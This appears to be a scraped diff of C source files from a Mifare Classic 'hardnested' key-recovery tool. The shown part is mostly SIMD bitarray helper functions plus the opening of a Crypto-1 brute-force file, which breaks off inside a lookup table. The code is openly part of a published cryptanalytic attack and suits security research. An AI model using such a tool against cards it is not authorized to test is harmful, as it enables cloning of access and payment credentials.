|
//
|
||||||
|
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
|
||||||
|
// at your option, any later version. See the LICENSE.txt file for the text of
|
||||||
|
// the license.ch b
|
||||||
|
//-----------------------------------------------------------------------------
|
||||||
|
// Implements a card only attack based on crypto text (encrypted nonces
|
||||||
|
// received during a nested authentication) only. Unlike other card only
|
||||||
|
// attacks this doesn't rely on implementation errors but only on the
|
||||||
|
// inherent weaknesses of the crypto1 cypher. Described in
|
||||||
|
// Carlo Meijer, Roel Verdult, "Ciphertext-only Cryptanalysis on Hardened
|
||||||
|
// Mifare Classic Cards" in Proceedings of the 22nd ACM SIGSAC Conference on
|
||||||
|
// Computer and Communications Security, 2015
|
||||||
|
//-----------------------------------------------------------------------------
|
||||||
|
// some helper functions which can benefit from SIMD instructions or other special instructions
|
||||||
|
//
|
||||||
|
|
||||||
|
#include <stdint.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#if !defined _MSC_VER && !defined __APPLE__
|
||||||
|
#include <malloc.h>
|
||||||
|
#endif
|
||||||
|
|
||||||
|
uint32_t* malloc_bitarray_AVX2(uint32_t x) {
|
||||||
|
#if defined (_WIN32)
|
||||||
|
return __builtin_assume_aligned(_aligned_malloc((x), 16), 16);
|
||||||
|
#elif defined (__APPLE__)
|
||||||
|
uint32_t *allocated_memory;
|
||||||
|
if (posix_memalign((void**) &allocated_memory, 16, x)) {
|
||||||
|
return NULL;
|
||||||
|
} else {
|
||||||
|
return __builtin_assume_aligned(allocated_memory, 16);
|
||||||
|
}
|
||||||
|
#else
|
||||||
|
return __builtin_assume_aligned(memalign(16, (x)), 16);
|
||||||
|
#endif
|
||||||
|
}
|
||||||
|
|
||||||
|
void free_bitarray_AVX2(uint32_t* x) {
|
||||||
|
#ifdef _WIN32
|
||||||
|
_aligned_free(x);
|
||||||
|
#else
|
||||||
|
free(x);
|
||||||
|
#endif
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
void bitarray_AND_AVX2(uint32_t* restrict A, uint32_t* restrict B) {
|
||||||
|
A = __builtin_assume_aligned(A, 16);
|
||||||
|
B = __builtin_assume_aligned(B, 16);
|
||||||
|
for (uint32_t i = 0; i < (1 << 19); i++) {
|
||||||
|
A[i] &= B[i];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
uint32_t count_bitarray_AND_AVX2(uint32_t* restrict A, uint32_t* restrict B) {
|
||||||
|
A = __builtin_assume_aligned(A, 16);
|
||||||
|
B = __builtin_assume_aligned(B, 16);
|
||||||
|
uint32_t count = 0;
|
||||||
|
for (uint32_t i = 0; i < (1 << 19); i++) {
|
||||||
|
A[i] &= B[i];
|
||||||
|
count += __builtin_popcountl(A[i]);
|
||||||
|
}
|
||||||
|
return count;
|
||||||
|
}
|
||||||
|
|
||||||
|
uint32_t count_bitarray_low20_AND_AVX2(uint32_t* restrict A, uint32_t* restrict B) {
|
||||||
|
uint16_t* a = (uint16_t*)__builtin_assume_aligned(A, 16);
|
||||||
|
uint16_t* b = (uint16_t*)__builtin_assume_aligned(B, 16);
|
||||||
|
uint32_t count = 0;
|
||||||
|
|
||||||
|
for (uint32_t i = 0; i < (1 << 20); i++) {
|
||||||
|
if (!b[i]) {
|
||||||
|
a[i] = 0;
|
||||||
|
}
|
||||||
|
count += __builtin_popcountl(a[i]);
|
||||||
|
}
|
||||||
|
return count;
|
||||||
|
}
|
||||||
|
|
||||||
|
void bitarray_AND4_AVX2(uint32_t* restrict A, uint32_t* restrict B, uint32_t* restrict C, uint32_t* restrict D) {
|
||||||
|
A = __builtin_assume_aligned(A, 16);
|
||||||
|
B = __builtin_assume_aligned(B, 16);
|
||||||
|
C = __builtin_assume_aligned(C, 16);
|
||||||
|
D = __builtin_assume_aligned(D, 16);
|
||||||
|
for (uint32_t i = 0; i < (1 << 19); i++) {
|
||||||
|
A[i] = B[i] & C[i] & D[i];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void bitarray_OR_AVX2(uint32_t* restrict A, uint32_t* restrict B) {
|
||||||
|
A = __builtin_assume_aligned(A, 16);
|
||||||
|
B = __builtin_assume_aligned(B, 16);
|
||||||
|
for (uint32_t i = 0; i < (1 << 19); i++) {
|
||||||
|
A[i] |= B[i];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
uint32_t count_bitarray_AND2_AVX2(uint32_t* restrict A, uint32_t* restrict B) {
|
||||||
|
A = __builtin_assume_aligned(A, 16);
|
||||||
|
B = __builtin_assume_aligned(B, 16);
|
||||||
|
uint32_t count = 0;
|
||||||
|
for (uint32_t i = 0; i < (1 << 19); i++) {
|
||||||
|
count += __builtin_popcountl(A[i] & B[i]);
|
||||||
|
}
|
||||||
|
return count;
|
||||||
|
}
|
||||||
|
|
||||||
|
uint32_t count_bitarray_AND3_AVX2(uint32_t* restrict A, uint32_t* restrict B, uint32_t* restrict C) {
|
||||||
|
A = __builtin_assume_aligned(A, 16);
|
||||||
|
B = __builtin_assume_aligned(B, 16);
|
||||||
|
C = __builtin_assume_aligned(C, 16);
|
||||||
|
uint32_t count = 0;
|
||||||
|
for (uint32_t i = 0; i < (1 << 19); i++) {
|
||||||
|
count += __builtin_popcountl(A[i] & B[i] & C[i]);
|
||||||
|
}
|
||||||
|
return count;
|
||||||
|
}
|
||||||
|
|
||||||
|
uint32_t count_bitarray_AND4_AVX2(uint32_t* restrict A, uint32_t* restrict B, uint32_t* restrict C, uint32_t* restrict D) {
|
||||||
|
A = __builtin_assume_aligned(A, 16);
|
||||||
|
B = __builtin_assume_aligned(B, 16);
|
||||||
|
C = __builtin_assume_aligned(C, 16);
|
||||||
|
D = __builtin_assume_aligned(D, 16);
|
||||||
|
uint32_t count = 0;
|
||||||
|
for (uint32_t i = 0; i < (1 << 19); i++) {
|
||||||
|
count += __builtin_popcountl(A[i] & B[i] & C[i] & D[i]);
|
||||||
|
}
|
||||||
|
return count;
|
||||||
|
}
|
||||||
|
|
||||||
132
src/hardnested/hardnested_bitarray_core_AVX512.c
Normal file
132
src/hardnested/hardnested_bitarray_core_AVX512.c
Normal file
@ -0,0 +1,132 @@
|
|||||||
|
//-----------------------------------------------------------------------------
|
||||||
|
// Copyright (C) 2016, 2017 by piwi
|
||||||
|
//
|
||||||
|
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
|
||||||
|
// at your option, any later version. See the LICENSE.txt file for the text of
|
||||||
|
// the license.ch b
|
||||||
|
//-----------------------------------------------------------------------------
|
||||||
|
// Implements a card only attack based on crypto text (encrypted nonces
|
||||||
|
// received during a nested authentication) only. Unlike other card only
|
||||||
|
// attacks this doesn't rely on implementation errors but only on the
|
||||||
|
// inherent weaknesses of the crypto1 cypher. Described in
|
||||||
|
// Carlo Meijer, Roel Verdult, "Ciphertext-only Cryptanalysis on Hardened
|
||||||
|
// Mifare Classic Cards" in Proceedings of the 22nd ACM SIGSAC Conference on
|
||||||
|
// Computer and Communications Security, 2015
|
||||||
|
//-----------------------------------------------------------------------------
|
||||||
|
// some helper functions which can benefit from SIMD instructions or other special instructions
|
||||||
|
//
|
||||||
|
|
||||||
|
#include <stdint.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#if !defined _MSC_VER && !defined __APPLE__
|
||||||
|
#include <malloc.h>
|
||||||
|
#endif
|
||||||
|
|
||||||
|
uint32_t* malloc_bitarray_AVX512(uint32_t x) {
|
||||||
|
#if defined (_WIN32)
|
||||||
|
return __builtin_assume_aligned(_aligned_malloc((x), 16), 16);
|
||||||
|
#elif defined (__APPLE__)
|
||||||
|
uint32_t *allocated_memory;
|
||||||
|
if (posix_memalign((void**) &allocated_memory, 16, x)) {
|
||||||
|
return NULL;
|
||||||
|
} else {
|
||||||
|
return __builtin_assume_aligned(allocated_memory, 16);
|
||||||
|
}
|
||||||
|
#else
|
||||||
|
return __builtin_assume_aligned(memalign(16, (x)), 16);
|
||||||
|
#endif
|
||||||
|
}
|
||||||
|
|
||||||
|
void free_bitarray_AVX512(uint32_t* x) {
|
||||||
|
#ifdef _WIN32
|
||||||
|
_aligned_free(x);
|
||||||
|
#else
|
||||||
|
free(x);
|
||||||
|
#endif
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
void bitarray_AND_AVX512(uint32_t * restrict A, uint32_t * restrict B) {
|
||||||
|
A = __builtin_assume_aligned(A, 16);
|
||||||
|
B = __builtin_assume_aligned(B, 16);
|
||||||
|
for (uint32_t i = 0; i < (1 << 19); i++) {
|
||||||
|
A[i] &= B[i];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
uint32_t count_bitarray_AND_AVX512(uint32_t* restrict A, uint32_t* restrict B) {
|
||||||
|
A = __builtin_assume_aligned(A, 16);
|
||||||
|
B = __builtin_assume_aligned(B, 16);
|
||||||
|
uint32_t count = 0;
|
||||||
|
for (uint32_t i = 0; i < (1 << 19); i++) {
|
||||||
|
A[i] &= B[i];
|
||||||
|
count += __builtin_popcountl(A[i]);
|
||||||
|
}
|
||||||
|
return count;
|
||||||
|
}
|
||||||
|
|
||||||
|
uint32_t count_bitarray_low20_AND_AVX512(uint32_t* restrict A, uint32_t* restrict B) {
|
||||||
|
uint16_t* a = (uint16_t*)__builtin_assume_aligned(A, 16);
|
||||||
|
uint16_t* b = (uint16_t*)__builtin_assume_aligned(B, 16);
|
||||||
|
uint32_t count = 0;
|
||||||
|
|
||||||
|
for (uint32_t i = 0; i < (1 << 20); i++) {
|
||||||
|
if (!b[i]) {
|
||||||
|
a[i] = 0;
|
||||||
|
}
|
||||||
|
count += __builtin_popcountl(a[i]);
|
||||||
|
}
|
||||||
|
return count;
|
||||||
|
}
|
||||||
|
|
||||||
|
void bitarray_AND4_AVX512(uint32_t* restrict A, uint32_t* restrict B, uint32_t* restrict C, uint32_t* restrict D) {
|
||||||
|
A = __builtin_assume_aligned(A, 16);
|
||||||
|
B = __builtin_assume_aligned(B, 16);
|
||||||
|
C = __builtin_assume_aligned(C, 16);
|
||||||
|
D = __builtin_assume_aligned(D, 16);
|
||||||
|
for (uint32_t i = 0; i < (1 << 19); i++) {
|
||||||
|
A[i] = B[i] & C[i] & D[i];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void bitarray_OR_AVX512(uint32_t* restrict A, uint32_t* restrict B) {
|
||||||
|
A = __builtin_assume_aligned(A, 16);
|
||||||
|
B = __builtin_assume_aligned(B, 16);
|
||||||
|
for (uint32_t i = 0; i < (1 << 19); i++) {
|
||||||
|
A[i] |= B[i];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
uint32_t count_bitarray_AND2_AVX512(uint32_t* restrict A, uint32_t* restrict B) {
|
||||||
|
A = __builtin_assume_aligned(A, 16);
|
||||||
|
B = __builtin_assume_aligned(B, 16);
|
||||||
|
uint32_t count = 0;
|
||||||
|
for (uint32_t i = 0; i < (1 << 19); i++) {
|
||||||
|
count += __builtin_popcountl(A[i] & B[i]);
|
||||||
|
}
|
||||||
|
return count;
|
||||||
|
}
|
||||||
|
|
||||||
|
uint32_t count_bitarray_AND3_AVX512(uint32_t* restrict A, uint32_t* restrict B, uint32_t* restrict C) {
|
||||||
|
A = __builtin_assume_aligned(A, 16);
|
||||||
|
B = __builtin_assume_aligned(B, 16);
|
||||||
|
C = __builtin_assume_aligned(C, 16);
|
||||||
|
uint32_t count = 0;
|
||||||
|
for (uint32_t i = 0; i < (1 << 19); i++) {
|
||||||
|
count += __builtin_popcountl(A[i] & B[i] & C[i]);
|
||||||
|
}
|
||||||
|
return count;
|
||||||
|
}
|
||||||
|
|
||||||
|
uint32_t count_bitarray_AND4_AVX512(uint32_t* restrict A, uint32_t* restrict B, uint32_t* restrict C, uint32_t* restrict D) {
|
||||||
|
A = __builtin_assume_aligned(A, 16);
|
||||||
|
B = __builtin_assume_aligned(B, 16);
|
||||||
|
C = __builtin_assume_aligned(C, 16);
|
||||||
|
D = __builtin_assume_aligned(D, 16);
|
||||||
|
uint32_t count = 0;
|
||||||
|
for (uint32_t i = 0; i < (1 << 19); i++) {
|
||||||
|
count += __builtin_popcountl(A[i] & B[i] & C[i] & D[i]);
|
||||||
|
}
|
||||||
|
return count;
|
||||||
|
}
|
||||||
|
|
||||||
116
src/hardnested/hardnested_bitarray_core_NOSIMD.c
Normal file
116
src/hardnested/hardnested_bitarray_core_NOSIMD.c
Normal file
@ -0,0 +1,116 @@
|
|||||||
|
//-----------------------------------------------------------------------------
|
||||||
|
// Copyright (C) 2016, 2017 by piwi
|
||||||
|
//
|
||||||
|
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
|
||||||
|
// at your option, any later version. See the LICENSE.txt file for the text of
|
||||||
|
// the license.ch b
|
||||||
|
//-----------------------------------------------------------------------------
|
||||||
|
// Implements a card only attack based on crypto text (encrypted nonces
|
||||||
|
// received during a nested authentication) only. Unlike other card only
|
||||||
|
// attacks this doesn't rely on implementation errors but only on the
|
||||||
|
// inherent weaknesses of the crypto1 cypher. Described in
|
||||||
|
// Carlo Meijer, Roel Verdult, "Ciphertext-only Cryptanalysis on Hardened
|
||||||
|
// Mifare Classic Cards" in Proceedings of the 22nd ACM SIGSAC Conference on
|
||||||
|
// Computer and Communications Security, 2015
|
||||||
|
//-----------------------------------------------------------------------------
|
||||||
|
// some helper functions which can benefit from SIMD instructions or other special instructions
|
||||||
|
//
|
||||||
|
|
||||||
|
#include <stdint.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <malloc.h>
|
||||||
|
|
||||||
|
uint32_t* malloc_bitarray_NOSIMD(uint32_t x) {
|
||||||
|
return __builtin_assume_aligned(memalign(__BIGGEST_ALIGNMENT__, (x)), __BIGGEST_ALIGNMENT__);
|
||||||
|
}
|
||||||
|
|
||||||
|
void free_bitarray_NOSIMD(uint32_t *x) {
|
||||||
|
free(x);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
void bitarray_AND_NOSIMD(uint32_t * restrict A, uint32_t * restrict B) {
|
||||||
|
A = __builtin_assume_aligned(A, __BIGGEST_ALIGNMENT__);
|
||||||
|
B = __builtin_assume_aligned(B, __BIGGEST_ALIGNMENT__);
|
||||||
|
for (uint32_t i = 0; i < (1 << 19); i++) {
|
||||||
|
A[i] &= B[i];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
uint32_t count_bitarray_AND_NOSIMD(uint32_t * restrict A, uint32_t * restrict B) {
|
||||||
|
A = __builtin_assume_aligned(A, __BIGGEST_ALIGNMENT__);
|
||||||
|
B = __builtin_assume_aligned(B, __BIGGEST_ALIGNMENT__);
|
||||||
|
uint32_t count = 0;
|
||||||
|
for (uint32_t i = 0; i < (1 << 19); i++) {
|
||||||
|
A[i] &= B[i];
|
||||||
|
count += __builtin_popcountl(A[i]);
|
||||||
|
}
|
||||||
|
return count;
|
||||||
|
}
|
||||||
|
|
||||||
|
uint32_t count_bitarray_low20_AND_NOSIMD(uint32_t * restrict A, uint32_t * restrict B) {
|
||||||
|
uint16_t *a = (uint16_t *) __builtin_assume_aligned(A, __BIGGEST_ALIGNMENT__);
|
||||||
|
uint16_t *b = (uint16_t *) __builtin_assume_aligned(B, __BIGGEST_ALIGNMENT__);
|
||||||
|
uint32_t count = 0;
|
||||||
|
|
||||||
|
for (uint32_t i = 0; i < (1 << 20); i++) {
|
||||||
|
if (!b[i]) {
|
||||||
|
a[i] = 0;
|
||||||
|
}
|
||||||
|
count += __builtin_popcountl(a[i]);
|
||||||
|
}
|
||||||
|
return count;
|
||||||
|
}
|
||||||
|
|
||||||
|
void bitarray_AND4_NOSIMD(uint32_t * restrict A, uint32_t * restrict B, uint32_t * restrict C, uint32_t * restrict D) {
|
||||||
|
A = __builtin_assume_aligned(A, __BIGGEST_ALIGNMENT__);
|
||||||
|
B = __builtin_assume_aligned(B, __BIGGEST_ALIGNMENT__);
|
||||||
|
C = __builtin_assume_aligned(C, __BIGGEST_ALIGNMENT__);
|
||||||
|
D = __builtin_assume_aligned(D, __BIGGEST_ALIGNMENT__);
|
||||||
|
for (uint32_t i = 0; i < (1 << 19); i++) {
|
||||||
|
A[i] = B[i] & C[i] & D[i];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void bitarray_OR_NOSIMD(uint32_t * restrict A, uint32_t * restrict B) {
|
||||||
|
A = __builtin_assume_aligned(A, __BIGGEST_ALIGNMENT__);
|
||||||
|
B = __builtin_assume_aligned(B, __BIGGEST_ALIGNMENT__);
|
||||||
|
for (uint32_t i = 0; i < (1 << 19); i++) {
|
||||||
|
A[i] |= B[i];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
uint32_t count_bitarray_AND2_NOSIMD(uint32_t * restrict A, uint32_t * restrict B) {
|
||||||
|
A = __builtin_assume_aligned(A, __BIGGEST_ALIGNMENT__);
|
||||||
|
B = __builtin_assume_aligned(B, __BIGGEST_ALIGNMENT__);
|
||||||
|
uint32_t count = 0;
|
||||||
|
for (uint32_t i = 0; i < (1 << 19); i++) {
|
||||||
|
count += __builtin_popcountl(A[i] & B[i]);
|
||||||
|
}
|
||||||
|
return count;
|
||||||
|
}
|
||||||
|
|
||||||
|
uint32_t count_bitarray_AND3_NOSIMD(uint32_t * restrict A, uint32_t * restrict B, uint32_t * restrict C) {
|
||||||
|
A = __builtin_assume_aligned(A, __BIGGEST_ALIGNMENT__);
|
||||||
|
B = __builtin_assume_aligned(B, __BIGGEST_ALIGNMENT__);
|
||||||
|
C = __builtin_assume_aligned(C, __BIGGEST_ALIGNMENT__);
|
||||||
|
uint32_t count = 0;
|
||||||
|
for (uint32_t i = 0; i < (1 << 19); i++) {
|
||||||
|
count += __builtin_popcountl(A[i] & B[i] & C[i]);
|
||||||
|
}
|
||||||
|
return count;
|
||||||
|
}
|
||||||
|
|
||||||
|
uint32_t count_bitarray_AND4_NOSIMD(uint32_t * restrict A, uint32_t * restrict B, uint32_t * restrict C, uint32_t * restrict D) {
|
||||||
|
A = __builtin_assume_aligned(A, __BIGGEST_ALIGNMENT__);
|
||||||
|
B = __builtin_assume_aligned(B, __BIGGEST_ALIGNMENT__);
|
||||||
|
C = __builtin_assume_aligned(C, __BIGGEST_ALIGNMENT__);
|
||||||
|
D = __builtin_assume_aligned(D, __BIGGEST_ALIGNMENT__);
|
||||||
|
uint32_t count = 0;
|
||||||
|
for (uint32_t i = 0; i < (1 << 19); i++) {
|
||||||
|
count += __builtin_popcountl(A[i] & B[i] & C[i] & D[i]);
|
||||||
|
}
|
||||||
|
return count;
|
||||||
|
}
|
||||||
|
|
||||||
132
src/hardnested/hardnested_bitarray_core_SSE2.c
Normal file
132
src/hardnested/hardnested_bitarray_core_SSE2.c
Normal file
@ -0,0 +1,132 @@
|
|||||||
|
//-----------------------------------------------------------------------------
|
||||||
|
// Copyright (C) 2016, 2017 by piwi
|
||||||
|
//
|
||||||
|
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
|
||||||
|
// at your option, any later version. See the LICENSE.txt file for the text of
|
||||||
|
// the license.ch b
|
||||||
|
//-----------------------------------------------------------------------------
|
||||||
|
// Implements a card only attack based on crypto text (encrypted nonces
|
||||||
|
// received during a nested authentication) only. Unlike other card only
|
||||||
|
// attacks this doesn't rely on implementation errors but only on the
|
||||||
|
// inherent weaknesses of the crypto1 cypher. Described in
|
||||||
|
// Carlo Meijer, Roel Verdult, "Ciphertext-only Cryptanalysis on Hardened
|
||||||
|
// Mifare Classic Cards" in Proceedings of the 22nd ACM SIGSAC Conference on
|
||||||
|
// Computer and Communications Security, 2015
|
||||||
|
//-----------------------------------------------------------------------------
|
||||||
|
// some helper functions which can benefit from SIMD instructions or other special instructions
|
||||||
|
//
|
||||||
|
|
||||||
|
#include <stdint.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#if !defined _MSC_VER && !defined __APPLE__
|
||||||
|
#include <malloc.h>
|
||||||
|
#endif
|
||||||
|
|
||||||
|
uint32_t* malloc_bitarray_SSE2(uint32_t x) {
|
||||||
|
#if defined (_WIN32)
|
||||||
|
return __builtin_assume_aligned(_aligned_malloc((x), 16), 16);
|
||||||
|
#elif defined (__APPLE__)
|
||||||
|
uint32_t *allocated_memory;
|
||||||
|
if (posix_memalign((void**) &allocated_memory, 16, x)) {
|
||||||
|
return NULL;
|
||||||
|
} else {
|
||||||
|
return __builtin_assume_aligned(allocated_memory, 16);
|
||||||
|
}
|
||||||
|
#else
|
||||||
|
return __builtin_assume_aligned(memalign(16, (x)), 16);
|
||||||
|
#endif
|
||||||
|
}
|
||||||
|
|
||||||
|
void free_bitarray_SSE2(uint32_t* x) {
|
||||||
|
#ifdef _WIN32
|
||||||
|
_aligned_free(x);
|
||||||
|
#else
|
||||||
|
free(x);
|
||||||
|
#endif
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
void bitarray_AND_SSE2(uint32_t* restrict A, uint32_t* restrict B) {
|
||||||
|
A = __builtin_assume_aligned(A, 16);
|
||||||
|
B = __builtin_assume_aligned(B, 16);
|
||||||
|
for (uint32_t i = 0; i < (1 << 19); i++) {
|
||||||
|
A[i] &= B[i];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
uint32_t count_bitarray_AND_SSE2(uint32_t* restrict A, uint32_t* restrict B) {
|
||||||
|
A = __builtin_assume_aligned(A, 16);
|
||||||
|
B = __builtin_assume_aligned(B, 16);
|
||||||
|
uint32_t count = 0;
|
||||||
|
for (uint32_t i = 0; i < (1 << 19); i++) {
|
||||||
|
A[i] &= B[i];
|
||||||
|
count += __builtin_popcountl(A[i]);
|
||||||
|
}
|
||||||
|
return count;
|
||||||
|
}
|
||||||
|
|
||||||
|
uint32_t count_bitarray_low20_AND_SSE2(uint32_t* restrict A, uint32_t* restrict B) {
|
||||||
|
uint16_t* a = (uint16_t*)__builtin_assume_aligned(A, 16);
|
||||||
|
uint16_t* b = (uint16_t*)__builtin_assume_aligned(B, 16);
|
||||||
|
uint32_t count = 0;
|
||||||
|
|
||||||
|
for (uint32_t i = 0; i < (1 << 20); i++) {
|
||||||
|
if (!b[i]) {
|
||||||
|
a[i] = 0;
|
||||||
|
}
|
||||||
|
count += __builtin_popcountl(a[i]);
|
||||||
|
}
|
||||||
|
return count;
|
||||||
|
}
|
||||||
|
|
||||||
|
void bitarray_AND4_SSE2(uint32_t* restrict A, uint32_t* restrict B, uint32_t* restrict C, uint32_t* restrict D) {
|
||||||
|
A = __builtin_assume_aligned(A, 16);
|
||||||
|
B = __builtin_assume_aligned(B, 16);
|
||||||
|
C = __builtin_assume_aligned(C, 16);
|
||||||
|
D = __builtin_assume_aligned(D, 16);
|
||||||
|
for (uint32_t i = 0; i < (1 << 19); i++) {
|
||||||
|
A[i] = B[i] & C[i] & D[i];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void bitarray_OR_SSE2(uint32_t* restrict A, uint32_t* restrict B) {
|
||||||
|
A = __builtin_assume_aligned(A, 16);
|
||||||
|
B = __builtin_assume_aligned(B, 16);
|
||||||
|
for (uint32_t i = 0; i < (1 << 19); i++) {
|
||||||
|
A[i] |= B[i];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
uint32_t count_bitarray_AND2_SSE2(uint32_t* restrict A, uint32_t* restrict B) {
|
||||||
|
A = __builtin_assume_aligned(A, 16);
|
||||||
|
B = __builtin_assume_aligned(B, 16);
|
||||||
|
uint32_t count = 0;
|
||||||
|
for (uint32_t i = 0; i < (1 << 19); i++) {
|
||||||
|
count += __builtin_popcountl(A[i] & B[i]);
|
||||||
|
}
|
||||||
|
return count;
|
||||||
|
}
|
||||||
|
|
||||||
|
uint32_t count_bitarray_AND3_SSE2(uint32_t* restrict A, uint32_t* restrict B, uint32_t* restrict C) {
|
||||||
|
A = __builtin_assume_aligned(A, 16);
|
||||||
|
B = __builtin_assume_aligned(B, 16);
|
||||||
|
C = __builtin_assume_aligned(C, 16);
|
||||||
|
uint32_t count = 0;
|
||||||
|
for (uint32_t i = 0; i < (1 << 19); i++) {
|
||||||
|
count += __builtin_popcountl(A[i] & B[i] & C[i]);
|
||||||
|
}
|
||||||
|
return count;
|
||||||
|
}
|
||||||
|
|
||||||
|
uint32_t count_bitarray_AND4_SSE2(uint32_t* restrict A, uint32_t* restrict B, uint32_t* restrict C, uint32_t* restrict D) {
|
||||||
|
A = __builtin_assume_aligned(A, 16);
|
||||||
|
B = __builtin_assume_aligned(B, 16);
|
||||||
|
C = __builtin_assume_aligned(C, 16);
|
||||||
|
D = __builtin_assume_aligned(D, 16);
|
||||||
|
uint32_t count = 0;
|
||||||
|
for (uint32_t i = 0; i < (1 << 19); i++) {
|
||||||
|
count += __builtin_popcountl(A[i] & B[i] & C[i] & D[i]);
|
||||||
|
}
|
||||||
|
return count;
|
||||||
|
}
|
||||||
|
|
||||||
372
src/hardnested/hardnested_bruteforce.c
Normal file
372
src/hardnested/hardnested_bruteforce.c
Normal file
@ -0,0 +1,372 @@
|
|||||||
|
//-----------------------------------------------------------------------------
|
||||||
|
// Copyright (C) 2016, 2017 by piwi
|
||||||
|
//
|
||||||
|
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
|
||||||
|
// at your option, any later version. See the LICENSE.txt file for the text of
|
||||||
|
// the license.
|
||||||
|
//-----------------------------------------------------------------------------
|
||||||
|
// Implements a card only attack based on crypto text (encrypted nonces
|
||||||
|
// received during a nested authentication) only. Unlike other card only
|
||||||
|
// attacks this doesn't rely on implementation errors but only on the
|
||||||
|
// inherent weaknesses of the crypto1 cypher. Described in
|
||||||
|
// Carlo Meijer, Roel Verdult, "Ciphertext-only Cryptanalysis on Hardened
|
||||||
|
// Mifare Classic Cards" in Proceedings of the 22nd ACM SIGSAC Conference on
|
||||||
|
// Computer and Communications Security, 2015
|
||||||
|
//-----------------------------------------------------------------------------
|
||||||
|
//
|
||||||
|
// brute forcing is based on @aczids bitsliced brute forcer
|
||||||
|
// https://github.com/aczid/crypto1_bs with some modifications. Mainly:
|
||||||
|
// - don't rollback. Start with 2nd byte of nonce instead
|
||||||
|
// - reuse results of filter subfunctions
|
||||||
|
// - reuse results of previous nonces if some first bits are identical
|
||||||
|
//
|
||||||
|
//-----------------------------------------------------------------------------
|
||||||
|
// aczid's Copyright notice:
|
||||||
|
//
|
||||||
|
// Bit-sliced Crypto-1 brute-forcing implementation
|
||||||
|
// Builds on the data structures returned by CraptEV1 craptev1_get_space(nonces, threshold, uid)
|
||||||
|
/*
|
||||||
|
Copyright (c) 2015-2016 Aram Verstegen
|
||||||
|
|
||||||
|
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
of this software and associated documentation files (the "Software"), to deal
|
||||||
|
in the Software without restriction, including without limitation the rights
|
||||||
|
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||||
|
copies of the Software, and to permit persons to whom the Software is
|
||||||
|
furnished to do so, subject to the following conditions:
|
||||||
|
|
||||||
|
The above copyright notice and this permission notice shall be included in
|
||||||
|
all copies or substantial portions of the Software.
|
||||||
|
|
||||||
|
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||||
|
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||||
|
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||||
|
THE SOFTWARE.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include "hardnested_bruteforce.h"
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <inttypes.h>
|
||||||
|
#include <pthread.h>
|
||||||
|
#include "hardnested_cpu_dispatch.h"
|
||||||
|
#include "../ui.h"
|
||||||
|
#include "../util.h"
|
||||||
|
#include "../util_posix.h"
|
||||||
|
#include "../crapto1.h"
|
||||||
|
#include "../parity.h"
|
||||||
|
#include "../mifare.h"
|
||||||
|
#include "../bf_bench_data.h"
|
||||||
|
|
||||||
|
#define DEFAULT_BRUTE_FORCE_RATE (120000000.0) // if benchmark doesn't succeed
|
||||||
|
#define TEST_BENCH_SIZE (6000) // number of odd and even states for brute force benchmark
|
||||||
|
|
||||||
|
|
||||||
|
static uint32_t nonces_to_bruteforce = 0;
|
||||||
|
static uint32_t bf_test_nonce[256];
|
||||||
|
static uint8_t bf_test_nonce_2nd_byte[256];
|
||||||
|
static uint8_t bf_test_nonce_par[256];
|
||||||
|
static uint32_t bucket_count = 0;
|
||||||
|
static statelist_t* buckets[128];
|
||||||
|
static uint32_t keys_found = 0;
|
||||||
|
static uint64_t num_keys_tested;
|
||||||
|
|
||||||
|
uint8_t trailing_zeros(uint8_t byte) {
|
||||||
|
static const uint8_t trailing_zeros_LUT[256] = {
|
||||||
|
8, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
|
||||||
|
4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
|
||||||
|
5, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
|
||||||
|
4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
|
||||||
|
6, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
|
||||||
|
